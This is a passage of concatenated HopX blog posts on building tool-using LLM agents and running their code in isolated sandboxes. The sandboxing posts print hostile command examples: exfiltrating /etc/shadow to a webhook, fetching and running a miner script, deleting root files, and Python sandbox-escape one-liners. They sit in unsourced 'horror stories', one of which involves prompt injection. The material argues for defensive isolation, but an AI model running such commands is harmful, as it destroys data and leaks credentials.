# Different tool sets for different contexts
CUSTOMER_SUPPORT_TOOLS = ["search_faq", "create_ticket", "get_order_status"]
ADMIN_TOOLS = ["run_sql", "modify_user", "deploy_code"]
def get_tools_for_user(user_role: str) -> list:
if user_role == "admin":
return ADMIN_TOOLS
else:
return CUSTOMER_SUPPORT_TOOLS
```
### 2. Validate All Inputs
```python
def run_sql(query: str) -> str:
# Validate: Read-only queries only
if any(word in query.upper() for word in ["INSERT", "UPDATE", "DELETE", "DROP"]):
return "Error: Only SELECT queries are allowed"
# Validate: No system tables
if "information_schema" in query.lower():
return "Error: System table access not allowed"
# Execute
return execute_query(query)
```
### 3. Rate Limit Tool Calls
```python
from collections import defaultdict
import time
tool_calls = defaultdict(list)
def rate_limited_execute(user_id: str, tool_name: str, args: dict) -> str:
now = time.time()
recent_calls = [t for t in tool_calls[user_id] if now - t < 60]
if len(recent_calls) >= 10:
return "Error: Rate limit exceeded. Try again in a minute."
tool_calls[user_id].append(now)
return execute_tool(tool_name, args)
```
### 4. Audit All Tool Usage
```python
import logging
def audited_execute(user_id: str, tool_name: str, args: dict) -> str:
logging.info(f"TOOL_CALL | user={user_id} | tool={tool_name} | args={args}")
result = execute_tool(tool_name, args)
logging.info(f"TOOL_RESULT | user={user_id} | tool={tool_name} | result_length={len(result)}")
return result
```
## Measuring Tool Effectiveness
Track these metrics:
```python
from dataclasses import dataclass
from datetime import datetime
@dataclass
class ToolMetrics:
tool_name: str
call_count: int
success_rate: float
avg_latency_ms: float
error_types: dict
def analyze_tool_usage(logs: list) -> dict:
metrics = {}
for tool_name in set(log["tool"] for log in logs):
tool_logs = [l for l in logs if l["tool"] == tool_name]
metrics[tool_name] = ToolMetrics(
tool_name=tool_name,
call_count=len(tool_logs),
success_rate=sum(1 for l in tool_logs if l["success"]) / len(tool_logs),
avg_latency_ms=sum(l["latency"] for l in tool_logs) / len(tool_logs),
error_types=count_errors(tool_logs)
)
return metrics
```
Key questions:
- Which tools are used most?
- Which tools fail most often?
- Are there tools the LLM never uses? (Remove or improve descriptions)
- Are there missing tools? (Check for failed attempts)
## Conclusion
Tool use is what transforms LLMs from text generators into agents that can act in the world:
- **Define clear tools** with specific descriptions
- **Sandbox code execution** — never run LLM code directly
- **Handle errors gracefully** — tools fail, plan for it
- **Secure by default** — allowlist, validate, rate limit, audit
Start with 2-3 essential tools. Add more only when you see the need. A focused agent with good tools beats a confused agent with many.
---
Ready to add secure code execution to your agent's toolkit? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms.
## Further Reading
- [What Is an AI Agent?](/blog/ai-agents/what-is-an-ai-agent) — The fundamentals of agentic systems
- [Prompt Chaining](/blog/ai-agents/prompt-chaining-sequential-ai-workflows) — Combine tools in sequential workflows
- [The Reflection Pattern](/blog/ai-agents/reflection-pattern-self-correcting-ai) — Use tools to verify and improve outputs
- [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution) — Security for code execution tools
- [OpenAI Function Calling Guide](https://platform.openai.com/docs/guides/function-calling) — Official documentation
---
## Vercel AI SDK: Streaming Code Execution with HopX
URL: https://hopx.ai/blog/tutorials/vercel-ai-sdk-streaming-code-execution/
Category: Tutorials
Published: 2025-11-26
# Vercel AI SDK: Streaming Code Execution with HopX
The Vercel AI SDK makes building AI applications delightful. Streaming responses, tool calling, and React hooks that "just work." But when your AI needs to execute code, you hit a wall: where do you run it safely?
This tutorial shows how to integrate HopX sandboxes with the Vercel AI SDK for real-time, streaming code execution. Your users see output as it happens, character by character.
## What We're Building
```
┌─────────────────────────────────────────────────────────────────┐
│ User Chat Interface │
│ │
│ User: "Calculate the factorial of 100" │
│ │
│ Assistant: I'll calculate that for you... │
│ │
│ ┌────────────────────────────────────────────────────────┐ │
│ │ >>> Executing Python... │ │
│ │ factorial(100) = 933262154439441526816992388... │ │ ← Streaming
│ │ ✓ Completed in 0.3s │ │
│ └────────────────────────────────────────────────────────┘ │
│ │
│ The factorial of 100 is a 158-digit number: 9.33×10^157 │
└─────────────────────────────────────────────────────────────────┘
```
## Prerequisites
```bash
npm install ai @ai-sdk/openai @hopx-ai/sdk
```
Set environment variables:
```bash
OPENAI_API_KEY=sk-...
HOPX_API_KEY=...
```
## Project Structure
```
app/
├── api/
│ └── chat/
│ └── route.ts # AI chat endpoint with tool calling
├── components/
│ ├── chat.tsx # Chat UI component
│ └── code-output.tsx # Streaming code output display
└── page.tsx # Main page
```
## Step 1: Create the Chat API Route
The API route handles chat messages and tool execution:
```typescript
// app/api/chat/route.ts
import { openai } from '@ai-sdk/openai';
import { streamText, tool } from 'ai';
import { z } from 'zod';
import { Sandbox } from '@hopx-ai/sdk';
// Allow streaming responses up to 60 seconds
export const maxDuration = 60;
export async function POST(req: Request) {
const { messages } = await req.json();
const result = streamText({
model: openai('gpt-4o'),
system: `You are a helpful AI assistant that can execute Python code.
When users ask you to calculate, analyze data, or do anything that requires computation:
1. Write Python code to accomplish the task
2. Use the execute_python tool to run it
3. Explain the results clearly
The sandbox has pandas, numpy, matplotlib, and standard libraries.
For charts, save to /app/output.png.`,
messages,
tools: {
execute_python: tool({
description: 'Execute Python code in a secure sandbox. Use for calculations, data analysis, and any computational task.',
parameters: z.object({
code: z.string().describe('Python code to execute'),
description: z.string().describe('Brief description of what this code does'),
}),
execute: async ({ code, description }) => {
const sandbox = await Sandbox.create({
template: 'code-interpreter',
apiKey: process.env.HOPX_API_KEY,
});
try {
const result = await sandbox.runCode(code, {
language: 'python',
timeout: 30,
});
return {
success: result.exitCode === 0,
output: result.stdout || '',
error: result.stderr || '',
exitCode: result.exitCode,
description,
};
} finally {
await sandbox.kill();
}
},
}),
},
// Maximum tool invocations per message
maxSteps: 5,
});
return result.toDataStreamResponse();
}
```
## Step 2: Create the Chat Component
A React component using the `useChat` hook:
```tsx
// app/components/chat.tsx
'use client';
import { useChat } from 'ai/react';
import { CodeOutput } from './code-output';
export function Chat() {
const { messages, input, handleInputChange, handleSubmit, isLoading } = useChat({
api: '/api/chat',
});
return (
);
}
```
## Integration with AI SDK Tools
Combine the streaming execution with AI SDK tool calling:
```typescript
// app/api/chat/route.ts
import { openai } from '@ai-sdk/openai';
import { streamText, tool } from 'ai';
import { z } from 'zod';
import { Sandbox } from '@hopx-ai/sdk';
// Persistent sandbox for conversation
let sandbox: Sandbox | null = null;
async function getOrCreateSandbox() {
if (!sandbox) {
sandbox = await Sandbox.create({
template: 'code-interpreter',
apiKey: process.env.HOPX_API_KEY,
ttl: 300, // 5 minutes
});
}
return sandbox;
}
export async function POST(req: Request) {
const { messages } = await req.json();
const result = streamText({
model: openai('gpt-4o'),
messages,
tools: {
execute_python: tool({
description: 'Execute Python code. State persists between calls.',
parameters: z.object({
code: z.string(),
}),
execute: async ({ code }) => {
const sb = await getOrCreateSandbox();
const result = await sb.runCode(code, {
language: 'python',
timeout: 30,
});
return {
output: result.stdout,
error: result.stderr,
success: result.exitCode === 0,
};
},
}),
install_package: tool({
description: 'Install a Python package using pip',
parameters: z.object({
package: z.string().describe('Package name to install'),
}),
execute: async ({ package: pkg }) => {
const sb = await getOrCreateSandbox();
const result = await sb.runCode(`pip install ${pkg}`, {
language: 'bash',
timeout: 60,
});
return {
success: result.exitCode === 0,
output: result.stdout,
error: result.stderr,
};
},
}),
read_file: tool({
description: 'Read a file from the sandbox',
parameters: z.object({
path: z.string().describe('File path to read'),
}),
execute: async ({ path }) => {
const sb = await getOrCreateSandbox();
try {
const content = await sb.files.read(path);
return { success: true, content };
} catch (e) {
return {
success: false,
error: e instanceof Error ? e.message : 'File not found'
};
}
},
}),
write_file: tool({
description: 'Write content to a file in the sandbox',
parameters: z.object({
path: z.string().describe('File path to write'),
content: z.string().describe('Content to write'),
}),
execute: async ({ path, content }) => {
const sb = await getOrCreateSandbox();
try {
await sb.files.write(path, content);
return { success: true, path };
} catch (e) {
return {
success: false,
error: e instanceof Error ? e.message : 'Write failed'
};
}
},
}),
},
maxSteps: 10,
});
return result.toDataStreamResponse();
}
```
## Multi-Language Support
Extend the tools to support multiple languages:
```typescript
import { z } from 'zod';
const executeCode = tool({
description: 'Execute code in Python, JavaScript, TypeScript, or Bash',
parameters: z.object({
code: z.string().describe('Code to execute'),
language: z.enum(['python', 'javascript', 'typescript', 'bash'])
.describe('Programming language'),
}),
execute: async ({ code, language }) => {
const sandbox = await Sandbox.create({
template: 'code-interpreter',
apiKey: process.env.HOPX_API_KEY,
});
try {
const result = await sandbox.runCode(code, {
language,
timeout: 30,
});
return {
language,
output: result.stdout,
error: result.stderr,
success: result.exitCode === 0,
};
} finally {
await sandbox.kill();
}
},
});
```
## Error Handling Best Practices
```typescript
// Wrap tool execution with error handling
const safeExecute = async (fn: () => Promise) => {
try {
return await fn();
} catch (error) {
if (error instanceof Error) {
// Check for specific error types
if (error.message.includes('timeout')) {
return {
success: false,
error: 'Code execution timed out. Try simplifying your code.',
};
}
if (error.message.includes('memory')) {
return {
success: false,
error: 'Out of memory. Try processing smaller data chunks.',
};
}
}
return {
success: false,
error: 'Execution failed. Please try again.',
};
}
};
// Use in tool
execute: async ({ code }) => {
return safeExecute(async () => {
const sandbox = await Sandbox.create({ ... });
// ... execution code
});
},
```
## Production Considerations
### 1. Rate Limiting
```typescript
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';
const ratelimit = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(10, '1 m'), // 10 requests per minute
});
export async function POST(req: Request) {
const ip = req.headers.get('x-forwarded-for') ?? 'anonymous';
const { success } = await ratelimit.limit(ip);
if (!success) {
return new Response('Rate limit exceeded', { status: 429 });
}
// ... rest of handler
}
```
### 2. Input Validation
```typescript
const MAX_CODE_LENGTH = 10000;
execute: async ({ code }) => {
if (code.length > MAX_CODE_LENGTH) {
return {
success: false,
error: `Code exceeds maximum length of ${MAX_CODE_LENGTH} characters`,
};
}
// ... execution
},
```
### 3. Sandbox Pooling
```typescript
// For high-traffic applications, maintain a pool of warm sandboxes
class SandboxPool {
private pool: Sandbox[] = [];
private maxSize = 5;
async acquire(): Promise {
if (this.pool.length > 0) {
return this.pool.pop()!;
}
return Sandbox.create({ template: 'code-interpreter' });
}
release(sandbox: Sandbox) {
if (this.pool.length < this.maxSize) {
this.pool.push(sandbox);
} else {
sandbox.kill();
}
}
}
```
## Complete Example
Here's a full working Next.js app:
```typescript
// app/api/chat/route.ts
import { openai } from '@ai-sdk/openai';
import { streamText, tool } from 'ai';
import { z } from 'zod';
import { Sandbox } from '@hopx-ai/sdk';
export const maxDuration = 60;
export async function POST(req: Request) {
const { messages } = await req.json();
const result = streamText({
model: openai('gpt-4o'),
system: `You are a helpful coding assistant. Execute Python code to answer questions.`,
messages,
tools: {
python: tool({
description: 'Execute Python code',
parameters: z.object({ code: z.string() }),
execute: async ({ code }) => {
const sandbox = await Sandbox.create({
template: 'code-interpreter',
apiKey: process.env.HOPX_API_KEY,
});
try {
const result = await sandbox.runCode(code, {
language: 'python',
timeout: 30,
});
return {
output: result.stdout || 'No output',
error: result.stderr,
success: result.exitCode === 0,
};
} finally {
await sandbox.kill();
}
},
}),
},
maxSteps: 5,
});
return result.toDataStreamResponse();
}
```
```tsx
// app/page.tsx
'use client';
import { useChat } from 'ai/react';
export default function Home() {
const { messages, input, handleInputChange, handleSubmit, isLoading } = useChat();
return (
AI Code Assistant
{messages.map((m) => (
{m.content}
{m.toolInvocations?.map((t) => (
{'result' in t ? t.result.output : 'Executing...'}
))}
))}
);
}
```
## Conclusion
The Vercel AI SDK + HopX combination gives you:
- **Streaming responses**: Users see AI thinking in real-time
- **Secure execution**: Code runs in isolated sandboxes
- **Tool calling**: Clean integration with function calling
- **React-first**: Hooks that work seamlessly with Next.js
This pattern works for any AI application that needs to execute untrusted code—from coding assistants to data analysis tools.
---
Ready to add code execution to your AI app? [Get started with HopX](https://console.hopx.ai) — sandboxes that spin up in 100ms.
## Further Reading
- [Vercel AI SDK Documentation](https://sdk.vercel.ai/docs) — Official docs
- [LangChain Tools with Secure Execution](/blog/tutorials/langchain-tools-secure-code-execution) — LangChain integration
- [Build a Code Interpreter](/blog/ai-agents/build-code-interpreter-openai-hopx) — Full agent tutorial
- [Streaming Code Execution](/blog/tutorials/streaming-code-execution-for-agents) — Deep dive into streaming
---
## What Is an AI Agent? The Complete Guide for Developers
URL: https://hopx.ai/blog/ai-agents/what-is-an-ai-agent/
Category: AI Agents
Published: 2025-11-26
# What Is an AI Agent? The Complete Guide for Developers
Everyone's talking about AI agents. But strip away the hype, and you'll find most "agents" are just chatbots with extra steps. So what actually makes an AI system an agent?
This guide cuts through the noise to give you a clear, practical understanding of AI agents—what they are, how they differ from regular LLMs, and what it takes to build production-ready autonomous systems.
## The Definition Problem
Ask ten developers what an AI agent is, and you'll get twelve answers:
- "It's an LLM that can use tools"
- "It's an autonomous system that pursues goals"
- "It's a chatbot with memory"
- "It's anything that runs in a loop"
All of these capture part of the picture. None capture all of it.
Here's a working definition that actually helps:
> **An AI agent is a system that uses an LLM to decide what actions to take, executes those actions, observes the results, and iterates until a goal is achieved—with minimal human intervention.**
The key phrase is **minimal human intervention**. A chatbot waits for your next message. An agent figures out what to do next on its own.
## Agent vs. Chatbot: The Core Difference
```
CHATBOT AGENT
──────── ─────
User: "Analyze sales data" User: "Analyze sales data"
Bot: "Here's the analysis..." Agent: *thinks* Need to:
1. Find the data file
User: "Now make a chart" 2. Load and clean it
Bot: "Here's a chart..." 3. Run analysis
4. Create visualizations
User: "Email it to my team" 5. Generate report
Bot: "Here's a draft..."
Agent: *executes all steps*
User: "Actually send it" Agent: "Done. Report sent to
Bot: "Email sent" team@company.com"
```
The chatbot needs four prompts. The agent needs one.
This isn't just about convenience. It's about capability. Some tasks are simply impossible to complete through back-and-forth conversation—they require autonomous execution.
## The Four Pillars of Agentic Systems
Every true AI agent has four essential components. Miss any one, and you have something less than an agent.
### 1. Goal Interpretation
The agent must understand what you want to achieve, not just what you said.
```python
# User says:
"Make our website faster"
# Chatbot interprets:
"Tell user about website optimization techniques"
# Agent interprets:
"Goal: Reduce website load time"
"Sub-goals:"
" - Analyze current performance"
" - Identify bottlenecks"
" - Implement optimizations"
" - Verify improvements"
```
Goal interpretation means converting fuzzy human intent into concrete, measurable objectives.
### 2. Planning
Given a goal, the agent must decide *how* to achieve it—breaking complex tasks into executable steps.
```
Goal: "Deploy the new feature to production"
Plan:
├── 1. Run test suite
│ └── If tests fail → Fix issues → Re-run
├── 2. Build production bundle
├── 3. Create database migration
├── 4. Deploy to staging
├── 5. Run smoke tests
│ └── If smoke tests fail → Rollback → Investigate
├── 6. Deploy to production
└── 7. Monitor for errors
```
Good planning includes:
- **Task decomposition** — Breaking big tasks into small ones
- **Dependency management** — Understanding what must happen first
- **Contingency handling** — Knowing what to do when things fail
### 3. Tool Use
Agents interact with the world through tools. A tool is any function the agent can call:
```python
# Example agent tools
tools = [
{
"name": "read_file",
"description": "Read contents of a file",
"parameters": {"path": "string"}
},
{
"name": "write_file",
"description": "Write content to a file",
"parameters": {"path": "string", "content": "string"}
},
{
"name": "run_code",
"description": "Execute Python code",
"parameters": {"code": "string"}
},
{
"name": "search_web",
"description": "Search the internet",
"parameters": {"query": "string"}
},
{
"name": "send_email",
"description": "Send an email",
"parameters": {"to": "string", "subject": "string", "body": "string"}
}
]
```
Tools are what give agents real-world impact. An LLM can *describe* how to analyze data. An agent with tools can *actually analyze* the data.
### 4. Observation & Iteration
The agent must observe the results of its actions and decide what to do next. This is the **agent loop**:
```
┌─────────────────────────────────────────────────────┐
│ │
│ ┌─────────┐ ┌─────────┐ ┌──────────┐ │
│ │ Think │───▶│ Act │───▶│ Observe │ │
│ └─────────┘ └─────────┘ └──────────┘ │
│ ▲ │ │
│ │ │ │
│ └──────────────────────────────┘ │
│ │
│ Repeat until: goal achieved OR max steps OR │
│ agent decides to stop │
│ │
└─────────────────────────────────────────────────────┘
```
This loop is what makes agents autonomous. They don't just act once—they act, learn from results, and adapt.
## The Agent Spectrum
Not all agents are equally autonomous. Think of it as a spectrum:
```
LOW AUTONOMY HIGH AUTONOMY
──────────────────────────────────────────────────────────────▶
│ │ │ │ │
Chatbot Copilot Task Agent Goal Agent Fully
Autonomous
│ │ │ │ │
Single Suggests Executes Plans & Discovers
response actions, specific executes own goals,
human task multi-step self-improves
confirms sequences plans
Example: GitHub Code Research AGI
ChatGPT Copilot Interpreter Agents (theoretical)
```
Most production AI systems today operate in the "Task Agent" zone—autonomous enough to be useful, constrained enough to be safe.
## Anatomy of an Agent: Code Walkthrough
Let's look at a minimal but complete agent implementation:
```python
import openai
import json
from typing import Callable
class SimpleAgent:
"""A minimal agent implementation demonstrating core concepts"""
def __init__(self, tools: dict[str, Callable], max_iterations: int = 10):
self.client = openai.OpenAI()
self.tools = tools
self.max_iterations = max_iterations
self.memory = [] # Conversation history
def run(self, goal: str) -> str:
"""Main agent loop"""
# Initialize with goal
self.memory.append({
"role": "system",
"content": f"""You are an AI agent. Your goal: {goal}
Available tools: {list(self.tools.keys())}
Respond with JSON:
{{"thought": "your reasoning", "action": "tool_name", "action_input": {{...}}}}
When the goal is complete, respond:
{{"thought": "goal achieved because...", "action": "finish", "result": "final answer"}}"""
})
for iteration in range(self.max_iterations):
# THINK: Get LLM decision
response = self.client.chat.completions.create(
model="gpt-4o",
messages=self.memory,
response_format={"type": "json_object"}
)
decision = json.loads(response.choices[0].message.content)
self.memory.append({"role": "assistant", "content": json.dumps(decision)})
print(f"[Step {iteration + 1}] {decision['thought']}")
# CHECK: Is goal complete?
if decision["action"] == "finish":
return decision["result"]
# ACT: Execute the tool
tool_name = decision["action"]
tool_input = decision["action_input"]
if tool_name not in self.tools:
observation = f"Error: Unknown tool '{tool_name}'"
else:
try:
observation = self.tools[tool_name](**tool_input)
except Exception as e:
observation = f"Error: {str(e)}"
# OBSERVE: Record the result
self.memory.append({
"role": "user",
"content": f"Observation: {observation}"
})
print(f"[Observation] {observation[:200]}...")
return "Max iterations reached without completing goal"
```
Usage:
```python
# Define tools
def read_file(path: str) -> str:
with open(path) as f:
return f.read()
def write_file(path: str, content: str) -> str:
with open(path, 'w') as f:
f.write(content)
return f"Written {len(content)} bytes to {path}"
def run_python(code: str) -> str:
# ⚠️ UNSAFE: See security section below
exec_globals = {}
exec(code, exec_globals)
return str(exec_globals.get('result', 'No result'))
# Create and run agent
agent = SimpleAgent(
tools={
"read_file": read_file,
"write_file": write_file,
"run_python": run_python
}
)
result = agent.run(
"Read data.csv, calculate the average of the 'price' column, "
"and save the result to result.txt"
)
```
Output:
```
[Step 1] I need to first read the data file to understand its contents
[Observation] id,name,price\n1,Widget,29.99\n2,Gadget,49.99...
[Step 2] Now I'll write Python code to calculate the average price
[Observation] 39.99
[Step 3] I'll save the result to result.txt
[Observation] Written 5 bytes to result.txt
[Step 4] Task complete - I've calculated the average and saved it
Result: "The average price is 39.99, saved to result.txt"
```
## The Security Problem: Why Agents Need Isolation
Notice the warning comment on `run_python` above? **This is where most AI agents fail in production.**
When an agent executes code, it's running LLM-generated instructions. LLMs can:
- Hallucinate dangerous commands
- Be manipulated by prompt injection
- Produce syntactically valid but harmful code
Real example of what an LLM might generate when asked to "clean up disk space":
```python
import os
import shutil
# "Cleaning up" by removing files
for item in os.listdir('/'):
if item not in ['bin', 'boot', 'etc']: # Hallucinated "safe" list
shutil.rmtree(f'/{item}') # Deletes critical system directories
```
The solution is **isolated code execution**. Every code action runs in a sandbox that can't affect your real systems:
```python
from hopx import Sandbox
def safe_run_python(code: str) -> str:
"""Execute code in isolated sandbox"""
sandbox = Sandbox.create(template="code-interpreter")
try:
sandbox.files.write("/app/code.py", code)
result = sandbox.commands.run("python /app/code.py")
return result.stdout if result.exit_code == 0 else f"Error: {result.stderr}"
finally:
sandbox.kill() # Sandbox destroyed - nothing persists
```
The sandbox:
- Has its own filesystem (can't read your files)
- Has its own network (can't exfiltrate data)
- Has resource limits (can't mine crypto)
- Is destroyed after execution (can't persist malware)
For a deep dive on this topic, see [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution).
## Common Agent Patterns
### Pattern 1: ReAct (Reasoning + Acting)
The most common pattern. The agent explicitly reasons before each action:
```
Thought: I need to find the user's most recent order
Action: query_database
Action Input: {"query": "SELECT * FROM orders WHERE user_id=123 ORDER BY date DESC LIMIT 1"}
Observation: {"order_id": 456, "status": "shipped", "date": "2024-01-15"}
Thought: Found the order. Now I need to get tracking information
Action: get_tracking
Action Input: {"order_id": 456}
Observation: {"carrier": "UPS", "tracking": "1Z999...", "eta": "2024-01-18"}
Thought: I have all the information needed to answer the user
Action: finish
Result: "Your order #456 was shipped via UPS. Tracking: 1Z999... Expected delivery: Jan 18"
```
### Pattern 2: Plan-and-Execute
The agent creates a full plan upfront, then executes it:
```python
class PlanAndExecuteAgent:
def run(self, goal: str):
# Phase 1: Planning
plan = self._create_plan(goal)
# Returns: ["Step 1: ...", "Step 2: ...", "Step 3: ..."]
# Phase 2: Execution
for step in plan:
result = self._execute_step(step)
# Optional: Replan if step failed
if not result.success:
plan = self._replan(goal, completed_steps, step, result.error)
return self._synthesize_results()
```
Better for complex, multi-stage tasks. Worse for exploratory tasks where the next step depends heavily on previous results.
### Pattern 3: Reflection
The agent reviews its own work before finishing:
```
[After completing task]
Self-Review:
- Did I answer the original question? ✓
- Did I miss any edge cases? Found one: empty input
- Is the code efficient? Could optimize the loop
- Any security issues? Need to sanitize input
[Agent decides to improve before finishing]
```
Adding reflection significantly improves agent output quality at the cost of more LLM calls.
## Building Production Agents: Checklist
Ready to build? Here's what you need:
### Infrastructure
- [ ] **LLM access** — OpenAI, Anthropic, or self-hosted
- [ ] **Isolated execution** — Sandboxes for code/commands ([HopX](https://hopx.ai), E2B, or self-built)
- [ ] **Persistent memory** — Vector DB for long-term context
- [ ] **Observability** — Logging every thought and action
### Safety Controls
- [ ] **Max iteration limit** — Prevent infinite loops
- [ ] **Cost limits** — Cap LLM API spending
- [ ] **Action allowlists** — Restrict dangerous operations
- [ ] **Human-in-the-loop** — Approval for high-stakes actions
### User Experience
- [ ] **Streaming output** — Show progress, not just final result
- [ ] **Cancellation** — Let users stop runaway agents
- [ ] **Transparency** — Show what the agent is doing and why
## When NOT to Build an Agent
Agents aren't always the answer. Use a simpler approach when:
| Scenario | Better Alternative |
|----------|-------------------|
| Task is predictable | Hardcoded workflow |
| Single LLM call suffices | Simple prompt |
| User wants full control | Copilot (suggestions) |
| Errors are catastrophic | Human-in-the-loop pipeline |
| Real-time latency required | Pre-computed responses |
Agents add complexity. Only use them when that complexity buys you something—typically handling unpredictable, multi-step tasks that can't be templated.
## The Future of Agents
We're still early. Today's agents are impressive but limited:
**Current limitations:**
- Expensive (many LLM calls per task)
- Slow (sequential reasoning)
- Unreliable (hallucinations compound)
- Narrow (struggle with truly novel tasks)
**What's coming:**
- **Cheaper models** — More reasoning per dollar
- **Better planning** — Fewer wasted steps
- **Multi-agent systems** — Specialized agents collaborating
- **Learning from experience** — Agents that improve over time
The agents of 2025 will make today's agents look primitive. But the fundamentals—goal interpretation, planning, tool use, observation—will remain constant.
## Start Building
Here's your quickstart path:
1. **Understand the loop** — Build the minimal agent above
2. **Add real tools** — File operations, web search, API calls
3. **Add safety** — Isolate code execution with sandboxes
4. **Add memory** — Let agents learn from past sessions
5. **Add streaming** — Show users what's happening
6. **Iterate** — Watch agents fail, improve, repeat
The best way to understand agents is to build one. Start simple, add complexity only when needed, and always prioritize safety.
---
Ready to build agents that execute code safely? [Get started with HopX](https://console.hopx.ai) — isolated sandboxes that spin up in 100ms.
## Further Reading
- [Why AI Agents Need Isolated Code Execution](/blog/ai-agents/why-ai-agents-need-isolated-code-execution)
- [Multi-Agent Architectures with HopX](/blog/deep-dives/multi-agent-architectures-with-hopx)
- [Streaming Code Execution for Agents](/blog/tutorials/streaming-code-execution-for-agents)
- [ReAct: Synergizing Reasoning and Acting in Language Models](https://arxiv.org/abs/2210.03629)
- [LangChain Agents Documentation](https://python.langchain.com/docs/modules/agents/)
---
## Why AI Agents Need Isolated Code Execution
URL: https://hopx.ai/blog/ai-agents/why-ai-agents-need-isolated-code-execution/
Category: AI Agents
Published: 2025-11-26
# Why AI Agents Need Isolated Code Execution
The AI industry has a dirty secret: most AI agents running in production today are executing LLM-generated code directly on host machines. No isolation. No sandboxing. Just raw `exec()` calls with whatever code GPT-4 decides to output.
This is a ticking time bomb.
## The Rise of Code-Executing AI Agents
AI agents have evolved from simple chatbots to autonomous systems that can:
- Write and execute Python scripts
- Query databases
- Make API calls
- Manipulate files
- Install packages
Tools like OpenAI's Code Interpreter, LangChain agents, and AutoGPT have normalized the idea of LLMs generating and running code. And it works remarkably well—until it doesn't.
## The Problem: LLMs Are Unpredictable
Here's a fundamental truth: **you cannot trust LLM-generated code**.
Not because LLMs are malicious, but because:
1. **Prompt injection attacks** can manipulate agents to execute harmful code
2. **Hallucinations** can produce syntactically valid but dangerous commands
3. **Unintended behaviors** emerge from ambiguous instructions
4. **User inputs** flow through prompts into executable code
### Real-World Horror Stories
**Case 1: The Data Exfiltration Agent**
A developer built a "helpful coding assistant" that could run user commands. A user asked it to "help debug a network issue." The LLM, trying to be helpful, executed:
```python
import subprocess
subprocess.run(["cat", "/etc/passwd"])
subprocess.run(["curl", "-X", "POST", "https://webhook.site/xxx",
"-d", "@/etc/shadow"])
```
The agent exfiltrated system credentials to an external server.
**Case 2: The Infinite Loop Disaster**
An AI data analysis agent was asked to "process all files in the directory." The LLM generated:
```python
import os
for f in os.listdir("/"):
os.remove(f) # Misinterpreted "process" as "clean up"
```
The agent started deleting system files before anyone noticed.
**Case 3: The Crypto Miner**
Through prompt injection, an attacker made a customer service AI execute:
```python
import subprocess
subprocess.run(["wget", "https://malware.site/miner.sh", "-O", "/tmp/m.sh"])
subprocess.run(["bash", "/tmp/m.sh"])
```
The company's servers became crypto miners for weeks before detection.
## Why Traditional Sandboxing Falls Short
You might think: "I'll just use Docker containers" or "I'll restrict Python's capabilities."
Here's why that's not enough:
### Docker Containers Are Not Security Boundaries
Docker was designed for **packaging**, not **security isolation**. Containers share the host kernel, and container escape vulnerabilities are discovered regularly:
- CVE-2019-5736: Container escape via runc
- CVE-2020-15257: Container escape via containerd
- CVE-2022-0185: Container escape via kernel vulnerability
If an attacker escapes your container, they own your host machine—and every other container on it.
### Python Sandboxing Is Fundamentally Broken
Attempts to sandbox Python by removing dangerous modules (like `os`, `subprocess`, `socket`) fail because:
```python
# You blocked 'os'? No problem.
__builtins__.__import__('os').system('rm -rf /')
# You blocked that? Try this.
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
```
Python's introspection makes it nearly impossible to create a secure sandbox at the language level.
### Lambda Functions Have Their Own Issues
AWS Lambda provides good isolation, but:
- Cold starts of 1-5 seconds make real-time AI unusable
- 15-minute execution limits kill long-running tasks
- No persistent filesystem between invocations
- Complex setup for custom environments
- Expensive at scale (you pay for idle time in warm functions)
## The Solution: Hardware-Level Isolation
The only way to safely run untrusted code is **hardware-level isolation**—running each execution in its own virtual machine with a dedicated kernel.
This is how HopX works:
```
┌─────────────────────────────────────────────────────────┐
│ Your Application │
├─────────────────────────────────────────────────────────┤
│ HopX API │
├─────────────────────────────────────────────────────────┤
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ MicroVM │ │ MicroVM │ │ MicroVM │ │
│ │ Sandbox 1 │ │ Sandbox 2 │ │ Sandbox 3 │ │
│ │ │ │ │ │ │ │
│ │ Kernel 1 │ │ Kernel 2 │ │ Kernel 3 │ │
│ │ FS 1 │ │ FS 2 │ │ FS 3 │ │
│ │ Network 1 │ │ Network 2 │ │ Network 3 │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
├─────────────────────────────────────────────────────────┤
│ Hypervisor │
├─────────────────────────────────────────────────────────┤
│ Bare Metal Host │
└─────────────────────────────────────────────────────────┘
```
Each sandbox has:
- **Its own kernel** - No kernel exploits affect other sandboxes
- **Its own filesystem** - Complete isolation of data
- **Its own network stack** - No lateral movement possible
- **Resource limits** - CPU, memory, and I/O constraints
Even if an attacker achieves root access inside a sandbox, they cannot:
- Access other sandboxes
- Access the host machine
- Persist beyond the sandbox lifetime
- Exfiltrate data to unauthorized destinations
## But Isn't VM Isolation Slow?
This is the traditional argument against VMs. And it was true—until microVMs.
MicroVMs like Firecracker (developed by AWS for Lambda) boot in **under 125 milliseconds**. HopX sandboxes are ready to execute code in approximately **100ms**.
Compare this to:
| Technology | Cold Start | Isolation Level |
|------------|------------|-----------------|
| Direct execution | 0ms | None |
| Python subprocess | ~50ms | None |
| Docker container | 500ms-2s | Process isolation |
| AWS Lambda | 1-5s | MicroVM |
| **HopX Sandbox** | **~100ms** | **MicroVM** |
You get hardware-level security with near-instant startup.
## What This Means for Your AI Agents
If you're building AI agents that execute code, you have three options:
### Option 1: Accept the Risk (Don't)
Run LLM-generated code directly on your servers. Cross your fingers. Hope your LLM never hallucinates a dangerous command.
This is what most people do. It works until it catastrophically doesn't.
### Option 2: Limit Agent Capabilities (Frustrating)
Restrict what your agent can do. No file access. No network calls. No package installation.
This makes your agent significantly less useful. Users will go to competitors with more capable agents.
### Option 3: Use Proper Isolation (Smart)
Execute all untrusted code in isolated sandboxes. Let your LLM do whatever it wants—inside a cage.
```python
from hopx_ai import Sandbox
from openai import OpenAI
openai = OpenAI()
def safe_code_agent(user_request: str) -> str:
# Get code from LLM
response = openai.chat.completions.create(
model="gpt-4",
messages=[{"role": "user", "content": user_request}]
)
code = response.choices[0].message.content
# Execute in isolated sandbox
with Sandbox.create(template="code-interpreter") as sandbox:
result = sandbox.run_code(code)
return result.stdout
```
